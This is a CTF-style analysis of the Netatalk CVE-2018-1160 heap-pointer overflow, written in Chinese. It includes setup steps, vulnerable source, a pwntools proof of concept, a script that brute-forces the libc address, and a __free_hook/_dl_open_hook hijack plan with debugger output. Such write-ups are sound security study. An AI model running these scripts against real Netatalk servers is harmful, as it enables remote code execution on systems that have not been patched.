Netatalk CVE-2018-1160 分析

CVE-2018-1160

pwnable.tw最近新上的一题，想尝试下 :p，不过卡住了，后来解决了，记录下

搭建环境

  • 源码下载

    1
    https://sourceforge.net/projects/netatalk/files/netatalk/3.1.11/

  • 依赖库(可能还要多安装一些，我libdb5.3搞了半天)

    1
    2
    3
    4
    5
    6
    7
    sudo apt install libcrack2-dev
    sudo apt install libgssapi-krb5-2
    sudo apt install libgssapi3-heimdal
    sudo apt install libgssapi-perl
    sudo apt-get install libkrb5-dev
    sudo apt-get install libtdb5.3-dev
    sudo apt-get install libevent-dev

  • 编译安装(按着先知的文章来的)

1
2
3
./configure         --with-init-style=debian-systemd         --without-libevent         --without-tdb         --with-cracklib         --enable-krbV-uam        --with-pam-confdir=/etc/pam.d         --with-dbus-daemon=/usr/bin/dbus-daemon         --with-dbus-sysconf-dir=/etc/dbus-1/system.d         --with-tracker-pkgconfig-version=1.0
make
sudo make install
  • 启动服务
1
2
3
4
$ sudo systemctl enable avahi-daemon
$ sudo systemctl enable netatalk
$ sudo systemctl start avahi-daemon
$ sudo systemctl start netatalk

启动后会监听548端口

1
2
3
4
$ sudo netstat -nap | grep 548
tcp6       0      0 :::548                  :::*                    LISTEN      112680/afpd         
unix  3      [ ]         STREAM     CONNECTED     40548    1137/dbus-daemon     @/tmp/dbus-L7RLobyUlG
unix  3      [ ]         STREAM     CONNECTED     43548    1122/Xwayland        @/tmp/.X11-unix/X1024

编译安装完成后的程序会放在/usr/local/sbin里

1
2
ruan@ubuntu /usr/local/sbin $ ls
afpd  cnid_dbd  cnid_metad  netatalk

代码分析

漏洞代码

源码目录dsi/Dsi_opensess.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
/* OpenSession. set up the connection */
void dsi_opensession(DSI *dsi)	
{
  uint32_t i = 0; /* this serves double duty. it must be 4-bytes long */
  int offs;

  if (setnonblock(dsi->socket, 1) < 0) {
      LOG(log_error, logtype_dsi, "dsi_opensession: setnonblock: %s", strerror(errno));
      AFP_PANIC("setnonblock error");
  }

  /* parse options */
  while (i < dsi->cmdlen) {
    switch (dsi->commands[i++]) {
    case DSIOPT_ATTNQUANT:
      memcpy(&dsi->attn_quantum, dsi->commands + i + 1, dsi->commands[i]);
      dsi->attn_quantum = ntohl(dsi->attn_quantum);

    case DSIOPT_SERVQUANT: /* just ignore these */
    default:
      i += dsi->commands[i] + 1; /* forward past length tag + length */
      break;
    }
  }

其中的dsi->commands是字符数组，是用户可控的，故memcpy(&dsi->attn_quantum, dsi->commands + i + 1, dsi->commands[i]);这里存在溢出，最多溢出255个字节

两个关键结构

DSI

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
typedef struct DSI {
    struct DSI *next;             /* multiple listening addresses */
    AFPObj   *AFPobj;
    int      statuslen;
    char     status[1400];
    char     *signature;
    struct dsi_block        header;
    struct sockaddr_storage server, client;
    struct itimerval        timer;
    int      tickle;            /* tickle count */
    int      in_write;          /* in the middle of writing multiple packets,
                                   signal handlers can't write to the socket */
    int      msg_request;       /* pending message to the client */
    int      down_request;      /* pending SIGUSR1 down in 5 mn */

    uint32_t attn_quantum, datasize, server_quantum;
    uint16_t serverID, clientID;
    uint8_t  *commands; /* DSI recieve buffer */
    uint8_t  data[DSI_DATASIZ];    /* DSI reply buffer */
    size_t   datalen, cmdlen;
    off_t    read_count, write_count;
    uint32_t flags;             /* DSI flags like DSI_SLEEPING, DSI_DISCONNECTED */
    int      socket;            /* AFP session socket */
    int      serversock;        /* listening socket */

    /* DSI readahead buffer used for buffered reads in dsi_peek */
    size_t   dsireadbuf;        /* size of the DSI readahead buffer used in dsi_peek() */
    char     *buffer;           /* buffer start */
    char     *start;            /* current buffer head */
    char     *eof;              /* end of currently used buffer */
    char     *end;

#ifdef USE_ZEROCONF
    char *bonjourname;      /* server name as UTF8 maxlen MAXINSTANCENAMELEN */
    int zeroconf_registered;
#endif

    /* protocol specific open/close, send/receive
     * send/receive fill in the header and use dsi->commands.
     * write/read just write/read data */
    pid_t  (*proto_open)(struct DSI *);
    void   (*proto_close)(struct DSI *);
} DSI;

从DSI这个结构体可以看出，我们能溢出覆盖的变量有datasize,server_quantum,serverID,clientID,commands,后面的data字符数组太大了，就覆盖不到后面的变量了，其中的commands变量比较重要，后面会分析

dsi->header

1
2
3
4
5
6
7
8
9
10
11
12
#define DSI_BLOCKSIZ 16
struct dsi_block {
    uint8_t dsi_flags;       /* packet type: request or reply */
    uint8_t dsi_command;     /* command */
    uint16_t dsi_requestID;  /* request ID */
    union {
        uint32_t dsi_code;   /* error code */
        uint32_t dsi_doff;   /* data offset */
    } dsi_data;
    uint32_t dsi_len;        /* total data length */
    uint32_t dsi_reserved;   /* reserved field */
};

main.c

首先从main.c(afpd/main.c)开始

这里是处理请求的地方，而这个漏洞进的是LISTEN_FD分支

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
for (int i = 0; i < asev->used; i++) {
            if (asev->fdset[i].revents & (POLLIN | POLLERR | POLLHUP | POLLNVAL)) {
                switch (asev->data[i].fdtype) {

                case LISTEN_FD:
                    if ((child = dsi_start(&obj, (DSI *)(asev->data[i].private), server_children))) {
                        if (!(asev_add_fd(asev, child->afpch_ipc_fd, IPC_FD, child))) {
                            LOG(log_error, logtype_afpd, "out of asev slots");

                            /*
                             * Close IPC fd here and mark it as unused
                             */
                            close(child->afpch_ipc_fd);
                            child->afpch_ipc_fd = -1;

                            /*
                             * Being unfriendly here, but we really
                             * want to get rid of it. The 'child'
                             * handle gets cleaned up in the SIGCLD
                             * handler.
                             */
                            kill(child->afpch_pid, SIGKILL);
                        }
                    }
                    break;

                case IPC_FD:
                    child = (afp_child_t *)(asev->data[i].private);
                    LOG(log_debug, logtype_afpd, "main: IPC request from child[%u]", child->afpch_pid);

dsi_start

于是程序会调用dsi_start(afpd/main.c)：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
static afp_child_t *dsi_start(AFPObj *obj, DSI *dsi, server_child_t *server_children)
{
    afp_child_t *child = NULL;

    if (dsi_getsession(dsi, server_children, obj->options.tickleval, &child) != 0) {
        LOG(log_error, logtype_afpd, "dsi_start: session error: %s", strerror(errno));
        return NULL;
    }

    /* we've forked. */
    if (child == NULL) {
        configfree(obj, dsi);
        afp_over_dsi(obj); /* start a session */
        exit (0);
    }

    return child;
}

dsi_start又会调用dsi_getsession：

dsi_getsession

源码目录dsi/Dsi_getsess.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
/*!
 * Start a DSI session, fork an afpd process
 *
 * @param childp    (w) after fork: parent return pointer to child, child returns NULL
 * @returns             0 on sucess, any other value denotes failure
 */
int dsi_getsession(DSI *dsi, server_child_t *serv_children, int tickleval, afp_child_t **childp)
{
  pid_t pid;
  int ipc_fds[2];  
  afp_child_t *child;

 //此处省略了无关代码

  switch (pid = dsi->proto_open(dsi)) { /* in libatalk/dsi/dsi_tcp.c */
  case -1:
    /* if we fail, just return. it might work later */
    LOG(log_error, logtype_dsi, "dsi_getsess: %s", strerror(errno));
    return -1;

  case 0: /* child. mostly handled below. */
    break;

  default: /* parent */
    /* using SIGKILL is hokey, but the child might not have
     * re-established its signal handler for SIGTERM yet. */
   ................
   
  }
  ....................................................................
}

从pid = dsi->proto_open(dsi)这里继续跟进：

dsi_tcp_open

源码目录dsi/Dsi_tcp.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
/* accept the socket and do a little sanity checking */
static pid_t dsi_tcp_open(DSI *dsi)
{
    pid_t pid;
    SOCKLEN_T len;

    len = sizeof(dsi->client);
    dsi->socket = accept(dsi->serversock, (struct sockaddr *) &dsi->client, &len);

#ifdef TCPWRAP
    {
        struct request_info req;
        request_init(&req, RQ_DAEMON, "afpd", RQ_FILE, dsi->socket, NULL);
        fromhost(&req);
        if (!hosts_access(&req)) {
            LOG(deny_severity, logtype_dsi, "refused connect from %s", eval_client(&req));
            close(dsi->socket);
            errno = ECONNREFUSED;
            dsi->socket = -1;
        }
    }
#endif /* TCPWRAP */

    if (dsi->socket < 0)
        return -1;

    getitimer(ITIMER_PROF, &itimer);
    if (0 == (pid = fork()) ) { /* child */
        static struct itimerval timer = {{0, 0}, {DSI_TCPTIMEOUT, 0}};
        struct sigaction newact, oldact;
        uint8_t block[DSI_BLOCKSIZ];
        size_t stored;

        /* reset signals */
        server_reset_signal();

#ifndef DEBUGGING
        /* install an alarm to deal with non-responsive connections */
        newact.sa_handler = timeout_handler;
        sigemptyset(&newact.sa_mask);
        newact.sa_flags = 0;
        sigemptyset(&oldact.sa_mask);
        oldact.sa_flags = 0;
        setitimer(ITIMER_PROF, &itimer, NULL);

        if ((sigaction(SIGALRM, &newact, &oldact) < 0) ||
            (setitimer(ITIMER_REAL, &timer, NULL) < 0)) {
            LOG(log_error, logtype_dsi, "dsi_tcp_open: %s", strerror(errno));
            exit(EXITERR_SYS);
        }
#endif

        dsi_init_buffer(dsi);

        /* read in commands. this is similar to dsi_receive except
         * for the fact that we do some sanity checking to prevent
         * delinquent connections from causing mischief. */

        /* read in the first two bytes */
        len = dsi_stream_read(dsi, block, 2);
        if (!len ) {
            /* connection already closed, don't log it (normal OSX 10.3 behaviour) */
            exit(EXITERR_CLOSED);
        }
        if (len < 2 || (block[0] > DSIFL_MAX) || (block[1] > DSIFUNC_MAX)) {
            LOG(log_error, logtype_dsi, "dsi_tcp_open: invalid header");
            exit(EXITERR_CLNT);
        }

        /* read in the rest of the header */
        stored = 2;
        while (stored < DSI_BLOCKSIZ) {
            len = dsi_stream_read(dsi, block + stored, sizeof(block) - stored);
            if (len > 0)
                stored += len;
            else {
                LOG(log_error, logtype_dsi, "dsi_tcp_open: stream_read: %s", strerror(errno));
                exit(EXITERR_CLNT);
            }
        }

        dsi->header.dsi_flags = block[0];
        dsi->header.dsi_command = block[1];
        memcpy(&dsi->header.dsi_requestID, block + 2,
               sizeof(dsi->header.dsi_requestID));
        memcpy(&dsi->header.dsi_data.dsi_code, block + 4, sizeof(dsi->header.dsi_data.dsi_code));
        memcpy(&dsi->header.dsi_len, block + 8, sizeof(dsi->header.dsi_len));
        memcpy(&dsi->header.dsi_reserved, block + 12,
               sizeof(dsi->header.dsi_reserved));
        dsi->clientID = ntohs(dsi->header.dsi_requestID);

        /* make sure we don't over-write our buffers. */
        dsi->cmdlen = min(ntohl(dsi->header.dsi_len), dsi->server_quantum);

        stored = 0;
        while (stored < dsi->cmdlen) {
            len = dsi_stream_read(dsi, dsi->commands + stored, dsi->cmdlen - stored);
            if (len > 0)
                stored += len;
            else {
                LOG(log_error, logtype_dsi, "dsi_tcp_open: stream_read: %s", strerror(errno));
                exit(EXITERR_CLNT);
            }
        }

        /* stop timer and restore signal handler */
#ifndef DEBUGGING
        memset(&timer, 0, sizeof(timer));
        setitimer(ITIMER_REAL, &timer, NULL);
        sigaction(SIGALRM, &oldact, NULL);
#endif

        LOG(log_info, logtype_dsi, "AFP/TCP session from %s:%u",
            getip_string((struct sockaddr *)&dsi->client),
            getip_port((struct sockaddr *)&dsi->client));
    }

    /* send back our pid */
    return pid;
}

dsi_tcp_open声明了变量block来接收我们发过去的数据

1
2
3
4
5
if (0 == (pid = fork()) ) { /* child */
       static struct itimerval timer = {{0, 0}, {DSI_TCPTIMEOUT, 0}};
       struct sigaction newact, oldact;
       uint8_t block[DSI_BLOCKSIZ];
       size_t stored;

然后根据接收的用户数据填充dsi->header

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
dsi->header.dsi_flags = block[0];
      dsi->header.dsi_command = block[1];
      memcpy(&dsi->header.dsi_requestID, block + 2,
             sizeof(dsi->header.dsi_requestID));
      memcpy(&dsi->header.dsi_data.dsi_code, block + 4, sizeof(dsi->header.dsi_data.dsi_code));
      memcpy(&dsi->header.dsi_len, block + 8, sizeof(dsi->header.dsi_len));
      memcpy(&dsi->header.dsi_reserved, block + 12,
             sizeof(dsi->header.dsi_reserved));
      dsi->clientID = ntohs(dsi->header.dsi_requestID);

      /* make sure we don't over-write our buffers. */
      dsi->cmdlen = min(ntohl(dsi->header.dsi_len), dsi->server_quantum);

      stored = 0;
      while (stored < dsi->cmdlen) {
          len = dsi_stream_read(dsi, dsi->commands + stored, dsi->cmdlen - stored);
          if (len > 0)
              stored += len;
          else {
              LOG(log_error, logtype_dsi, "dsi_tcp_open: stream_read: %s", strerror(errno));
              exit(EXITERR_CLNT);
          }
      }

填充后在读取dsi->header.dsi_len长度的command字符，然后返回到dsi_getsession函数的后半部分：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
switch (dsi->header.dsi_command) {
 case DSIFUNC_STAT: /* send off status and return */
   {
     /* OpenTransport 1.1.2 bug workaround: 
      *
      * OT code doesn't currently handle close sockets well. urk.
      * the workaround: wait for the client to close its
      * side. timeouts prevent indefinite resource use. 
      */
     
     static struct timeval timeout = {120, 0};
     fd_set readfds;
     
     dsi_getstatus(dsi);

     FD_ZERO(&readfds);
     FD_SET(dsi->socket, &readfds);
     free(dsi);
     select(FD_SETSIZE, &readfds, NULL, NULL, &timeout);    
     exit(0);
   }
   break;
   
 case DSIFUNC_OPEN: /* setup session */
   /* set up the tickle timer */
   dsi->timer.it_interval.tv_sec = dsi->timer.it_value.tv_sec = tickleval;
   dsi->timer.it_interval.tv_usec = dsi->timer.it_value.tv_usec = 0;
   dsi_opensession(dsi);
   *childp = NULL;
   return 0;

 default: /* just close */
   LOG(log_info, logtype_dsi, "DSIUnknown %d", dsi->header.dsi_command);
   dsi->proto_close(dsi);
   exit(EXITERR_CLNT);
 }

根据dsi->header.dsi_command进行不同的操作,而其中的DSIFUNC_OPEN分支里的dsi_opensession函数里存在栈溢出,即开头的那一段代码：

1
2
3
4
5
6
7
8
9
10
11
12
13
/* parse options */
 while (i < dsi->cmdlen) {
   switch (dsi->commands[i++]) {
   case DSIOPT_ATTNQUANT:
     memcpy(&dsi->attn_quantum, dsi->commands + i + 1, dsi->commands[i]);
     dsi->attn_quantum = ntohl(dsi->attn_quantum);

   case DSIOPT_SERVQUANT: /* just ignore these */
   default:
     i += dsi->commands[i] + 1; /* forward past length tag + length */
     break;
   }
 }

然后一路返回到dsi_start函数(标箭头处)：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
static afp_child_t *dsi_start(AFPObj *obj, DSI *dsi, server_child_t *server_children)
{
    afp_child_t *child = NULL;

    if (dsi_getsession(dsi, server_children, obj->options.tickleval, &child) != 0) {
        LOG(log_error, logtype_afpd, "dsi_start: session error: %s", strerror(errno));
        return NULL;
    }

    /* we've forked. */
    if (child == NULL) {
        configfree(obj, dsi);
        afp_over_dsi(obj); /* start a session */	<--------
        exit (0);
    }

    return child;
}

进入afp_over_dsi函数 ，而afp_over_dsi函数又调用了dsi_stream_receive函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
/* set TCP_NODELAY */
   int flag = 1;
   setsockopt(dsi->socket, SOL_TCP, TCP_NODELAY, &flag, sizeof(flag));

   ipc_child_state(obj, DSI_RUNNING);

   /* get stuck here until the end */
   while (1) {
       if (sigsetjmp(recon_jmp, 1) != 0)
           /* returning from SIGALARM handler for a primary reconnect */
           continue;

       /* Blocking read on the network socket */
       cmd = dsi_stream_receive(dsi);

dsi_stream_receive

1
2
3
4
5
6
7
8
9
10
11
12
/* Receiving DSIWrite data is done in AFP function, not here */
if (dsi->header.dsi_data.dsi_doff) {
    LOG(log_maxdebug, logtype_dsi, "dsi_stream_receive: write request");
    dsi->cmdlen = dsi->header.dsi_data.dsi_doff;
}

if (dsi_stream_read(dsi, dsi->commands, dsi->cmdlen) != dsi->cmdlen)
  return 0;

LOG(log_debug, logtype_dsi, "dsi_stream_receive: DSI cmdlen: %zd", dsi->cmdlen);

return block[1];

此处的dsi_stream_read(dsi, dsi->commands, dsi->cmdlen) 配合前面的溢出，就能造成任意地址读写

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
import struct
import sys
if len(sys.argv) != 3:
    sys.exit(0)
ip = sys.argv[1]
port = int(sys.argv[2])
p = remote(ip,port)
dsi_opensession = "\x01" # attention quantum option
dsi_opensession += "\x18" # length
dsi_opensession += "A"*0x10+p64(0xdeadbeefcafebabe)
dsi_header = "\x00" # "request" flag
dsi_header += "\x04" # open session command
dsi_header += "\x00\x01" # request id
dsi_header += "\x00\x00\x00\x00" # data offset
dsi_header += struct.pack(">I", len(dsi_opensession))
dsi_header += "\x00\x00\x00\x00" # reserved
dsi_header += dsi_opensession
p.send(dsi_header)
p.recv(0x1c)
pause()
p.send(dsi_header)
p.interactive()

效果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
► 0x7f7d5adbb82b <dsi_opensession+139>    movzx  eax, byte ptr [rcx + r9]
   0x7f7d5adbb830 <dsi_opensession+144>    lea    esi, [rdx + rax + 2]
   0x7f7d5adbb834 <dsi_opensession+148>    cmp    rsi, qword ptr [rbx + 0x106f8]
   0x7f7d5adbb83b <dsi_opensession+155>    mov    rdx, rsi
   0x7f7d5adbb83e <dsi_opensession+158>    jb     dsi_opensession+80 <0x7f7d5adbb7f0>
 
   0x7f7d5adbb840 <dsi_opensession+160>    mov    qword ptr [rbx + 0x106f8], 0xc
──────────────────────────────────────────[ SOURCE (CODE) ]──────────────────────────────────────────
In file: /home/ruan/netatalk-3.1.11/libatalk/dsi/dsi_opensess.c
   30   /* parse options */
   31   while (i < dsi->cmdlen) {
   32     switch (dsi->commands[i++]) {
   33     case DSIOPT_ATTNQUANT:
   34       memcpy(&dsi->attn_quantum, dsi->commands + i + 1, dsi->commands[i]);
 ► 35       dsi->attn_quantum = ntohl(dsi->attn_quantum);
   36 
   37     case DSIOPT_SERVQUANT: /* just ignore these */
   38     default:
   39       i += dsi->commands[i] + 1; /* forward past length tag + length */
   40       break;

执行完memcpy(&dsi->attn_quantum, dsi->commands + i + 1, dsi->commands[i]);后可以看到

1
2
3
4
5
6
7
8
9
10
11
12
tickle = 0x0, 
  in_write = 0x0, 
  msg_request = 0x0, 
  down_request = 0x0, 
  attn_quantum = 0x41414141, 
  datasize = 0x41414141, 
  server_quantum = 0x41414141, 
  serverID = 0x4141, 
  clientID = 0x4141, 
  commands = 0xdeadbeefcafebabe, 
  data = {0x0 <repeats 65536 times>}, 
  datalen = 0x0,

我们成功的把commands覆盖成为了0xdeadbeefcafebabe，然后就段错误了，

这里的覆盖配合后续的dsi_stream_receive函数使得我们有了任意地址写的能力，于是乎问题就变成了写哪里，一个残酷的事实是：

1
2
3
4
5
6
7
8
 ruan@ubuntu /mnt/hgfs/shared/pwntw/netatalk/debug checksec afpd
[*] '/mnt/hgfs/shared/pwntw/netatalk/debug/afpd'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled

开启了ASLR，没泄露地址的话也不知道该写哪里，在这里卡住了，orz，看下自己后续能不能想办法绕过这个

Brute Force Address

时隔多日，到了2月14，众所周知的情人节，甜甜的恋爱什么时候能轮到我.jpg

后来在看Balsn战队HITCON2019_Quals的wp时，看见了netatalk这题，看了下，和这题好像是一样的，难怪这题在pwnable.tw上才100分

我们知道程序开了ASLR，且是用子进程来处理我们的请求的，而子进程的地址空间和父进程是一样的，而且子进程奔溃了不影响父进程，所以我们可以爆破libc的基地址，爆破的方法是一位一位的覆盖DSI->commands，如果没段错误就说明爆破正确了，那怎么判断是否段错误了呢

从上面的代码分析可以得出，如果没出现段错误的话，程序会把被我们覆盖掉的server_quantum返回给我们，我们可以依靠这个来判断程序是否段错误

爆破代码为：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
import struct
import sys
if len(sys.argv) != 3:
    sys.exit(0)
ip = sys.argv[1]
port = int(sys.argv[2])

def create_header(addr):
    dsi_opensession = "\x01" # attention quantum option
    dsi_opensession += chr(len(addr)+0x10) # length
    dsi_opensession += "A"*0x10+addr
    dsi_header = "\x00" # "request" flag
    dsi_header += "\x04" # open session command
    dsi_header += "\x00\x01" # request id
    dsi_header += "\x00\x00\x00\x00" # data offset
    dsi_header += struct.pack(">I", len(dsi_opensession))
    dsi_header += "\x00\x00\x00\x00" # reserved
    dsi_header += dsi_opensession
    return dsi_header

# brute force 
addr = ''
while len(addr) < 6:
	for i in range(256):
		r = remote(ip,port)
		r.send(create_header(addr+chr(i)))
		try:
			if "A"*4 in r.recvrepeat(1):
				addr += chr(i)
				r.close()
				break
		except:
			r.close()
	val = u64(addr.ljust(8,'\x00'))
info(hex(val))
pause()

这样爆破出来的地址和libc存在一定的偏差，所以我们后续还要根据这个地址来继续爆破libc基地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
[*] Closed connection to 127.0.0.1 port 548
[*] 0x7f2cf24cc000
[*] Paused (press any to continue)

# 程序的地址布局：

0x7f2cf182e000     0x7f2cf1843000 r-xp    15000 0      /usr/lib/x86_64-linux-gnu/libtdb.so.1.3.15
    0x7f2cf1843000     0x7f2cf1a42000 ---p   1ff000 15000  /usr/lib/x86_64-linux-gnu/libtdb.so.1.3.15
    0x7f2cf1a42000     0x7f2cf1a43000 r--p     1000 14000  /usr/lib/x86_64-linux-gnu/libtdb.so.1.3.15
    0x7f2cf1a43000     0x7f2cf1a44000 rw-p     1000 15000  /usr/lib/x86_64-linux-gnu/libtdb.so.1.3.15
    0x7f2cf1a44000     0x7f2cf1c2b000 r-xp   1e7000 0      /lib/x86_64-linux-gnu/libc-2.27.so
    0x7f2cf1c2b000     0x7f2cf1e2b000 ---p   200000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
    0x7f2cf1e2b000     0x7f2cf1e2f000 r--p     4000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
    0x7f2cf1e2f000     0x7f2cf1e31000 rw-p     2000 1eb000 /lib/x86_64-linux-gnu/libc-2.27.so
    0x7f2cf1e31000     0x7f2cf1e35000 rw-p     4000 0      
    0x7f2cf1e35000     0x7f2cf1e38000 r-xp     3000 0      /lib/x86_64-linux-gnu/libdl-2.27.so
    0x7f2cf1e38000     0x7f2cf2037000 ---p   1ff000 3000   /lib/x86_64-linux-gnu/libdl-2.27.so
    0x7f2cf2037000     0x7f2cf2038000 r--p     1000 2000   /lib/x86_64-linux-gnu/libdl-2.27.so
    0x7f2cf2038000     0x7f2cf2039000 rw-p     1000 3000   /lib/x86_64-linux-gnu/libdl-2.27.so

Hijack rip

假设我们爆破出了libc的基地址，我们就可以把DSI->commands覆盖到__free_hook上方，这样配合后续的dsi_stream_receive函数就可以覆写__free_hook,后续触发free函数即可，看了Balsn战队的wp，又学到了新方法

在这个漏洞中，我们可以像任意地址写入任意个字节，因为if (dsi_stream_read(dsi, dsi->commands, dsi->cmdlen) != dsi->cmdlen),其中的dsi->commands和dsi->cmdlen都是可控的

wp中选择了把__free_hook改写为__libc_dlopen_mode+56处，这里又会判断_dl_open_hook是否为空：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
► 0x7f24057ea488 <__libc_dlopen_mode+56>     mov    rax, qword ptr [rip + 0x28a019]
   0x7f24057ea48f <__libc_dlopen_mode+63>     call   qword ptr [rax]
 
   0x7f24057ea491 <__libc_dlopen_mode+65>     mov    rcx, qword ptr [rsp + 0x48]
   0x7f24057ea496 <__libc_dlopen_mode+70>     xor    rcx, qword ptr fs:[0x28]
   0x7f24057ea49f <__libc_dlopen_mode+79>     jne    __libc_dlopen_mode+190 <0x7f24057ea50e>
 
   0x7f24057ea4a1 <__libc_dlopen_mode+81>     add    rsp, 0x58
   0x7f24057ea4a5 <__libc_dlopen_mode+85>     ret    
 
   0x7f24057ea4a6 <__libc_dlopen_mode+86>     nop    word ptr cs:[rax + rax]
   0x7f24057ea4b0 <__libc_dlopen_mode+96>     lea    rdx, [rsp + 0xf]
   0x7f24057ea4b5 <__libc_dlopen_mode+101>    lea    rsi, [rsp + 0x18]
   0x7f24057ea4ba <__libc_dlopen_mode+106>    lea    rdi, [rsp + 0x10]
──────────────────────────────────────────[ SOURCE (CODE) ]──────────────────────────────────────────
In file: /usr/src/glibc/glibc-2.27/elf/dl-libc.c
   189   args.mode = mode;
   190   args.caller_dlopen = RETURN_ADDRESS (0);
   191 
   192 #ifdef SHARED
   193   if (!rtld_active ())
 ► 194     return _dl_open_hook->dlopen_mode (name, mode);
   195   return (dlerror_run (do_dlopen, &args) ? NULL : (void *) args.map);

不为空的话call dlopen_mode,dl_open_hook的结构是这样的：

1
2
3
4
5
6
7
8
9
10

static struct dl_open_hook _dl_open_hook =
  {
    .dlopen_mode = __libc_dlopen_mode,
    .dlsym = __libc_dlsym,
    .dlclose = __libc_dlclose,
    .dlvsym = __libc_dlvsym,
  };
#endif

由于_dl_open_hook这个结构体是在__free_hook地址后面，所以我们也可以覆盖掉，覆盖为

1
2
► 0x7f2405702a1f <fgetpos64+207>    mov    rdi, rax <0x7f2405a744b0>
  0x7f2405702a22 <fgetpos64+210>    call   qword ptr [rax + 0x20]

这个gadget，因为此时rax指向被我们覆盖的_dl_open_hook：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
────────────────────────────────────────────[ REGISTERS ]────────────────────────────────────────────
 RAX  0x7f2405a744b0 (__vdso_clock_gettime) —▸ 0x7f2405702a1f (fgetpos64+207) ◂— mov    rdi, rax
 RBX  0x2e
 RCX  0x5587125e7010 ◂— 0x1000700000200
 RDX  0x2e
 RDI  0x558712610e20 ◂— 0x7461747320504641 ('AFP stat')
 RSI  0x7f24057b84af (__vasprintf_chk+351) ◂— mov    rax, qword ptr [r12]
 R8   0x0
 R9   0x1
 R10  0x0
 R11  0x5587122042c2 ◂— and    byte ptr [rbx + 0x42], cl /* ' KB written' */
 R12  0x558712610e20 ◂— 0x7461747320504641 ('AFP stat')
 R13  0x2f
 R14  0x558712610e20 ◂— 0x7461747320504641 ('AFP stat')
 R15  0x1
 RBP  0x2e
 RSP  0x7fffe7533fc0 —▸ 0x7f24057ea491 (__libc_dlopen_mode+65) ◂— mov    rcx, qword ptr [rsp + 0x48]
 RIP  0x7f2405702a1f (fgetpos64+207) ◂— mov    rdi, rax
─────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────
 ► 0x7f2405702a1f <fgetpos64+207>    mov    rdi, rax <0x7f2405a744b0>
   0x7f2405702a22 <fgetpos64+210>    call   qword ptr [rax + 0x20]
 
   0x7f2405702a25 <fgetpos64+213>    xor    esi, esi
   0x7f2405702a27 <fgetpos64+215>    test   eax, eax
   0x7f2405702a29 <fgetpos64+217>    mov    edx, dword ptr [rbx]
   0x7f2405702a2b <fgetpos64+219>    jns    fgetpos64+236 <0x7f2405702a3c>
 
   0x7f2405702a2d <fgetpos64+221>    mov    rax, qword ptr [rbx + 0xa0]
   0x7f2405702a34 <fgetpos64+228>    mov    rax, qword ptr [rax + 0x58]
   0x7f2405702a38 <fgetpos64+232>    mov    qword ptr [rbp + 8], rax
   0x7f2405702a3c <fgetpos64+236>    and    dh, 0x80
   0x7f2405702a3f <fgetpos64+239>    jne    fgetpos64+304 <0x7f2405702a80>
──────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────
00:0000│ rsp  0x7fffe7533fc0 —▸ 0x7f24057ea491 (__libc_dlopen_mode+65) ◂— mov    rcx, qword ptr [rsp + 0x48]
01:0008│      0x7fffe7533fc8 —▸ 0x7f240571bc27 (free+727) ◂— jmp    0x7f240571baa0
02:0010│      0x7fffe7533fd0 ◂— 0xa048a69effffffff
03:0018│      0x7fffe7533fd8 ◂— 0x64 /* 'd' */
04:0020│      0x7fffe7533fe0 ◂— 0xffffffffffffffb0
05:0028│      0x7fffe7533fe8 —▸ 0x7fffe75341a0 —▸ 0x55871260d550 ◂— 0x7461747320504641 ('AFP stat')
06:0030│      0x7fffe7533ff0 —▸ 0x5587122042a0 ◂— push   rax
07:0038│      0x7fffe7533ff8 ◂— 0x91330347cd4e1300
────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────
 ► f 0     7f2405702a1f fgetpos64+207
   f 1               64
   f 2 ffffffffffffffb0
   f 3     7fffe75341a0
   f 4     5587122042a0
   f 5 91330347cd4e1300
   f 6     7fffe7534040
   f 7               2e
   f 8               2e
   f 9     7fffe75341a0
   f 10               2f
pwndbg> telescope 0x7f2405a744a8
00:0000│      0x7f2405a744a8 (_dl_open_hook) —▸ 0x7f2405a744b0 (__vdso_clock_gettime) —▸ 0x7f2405702a1f (fgetpos64+207) ◂— mov    rdi, rax
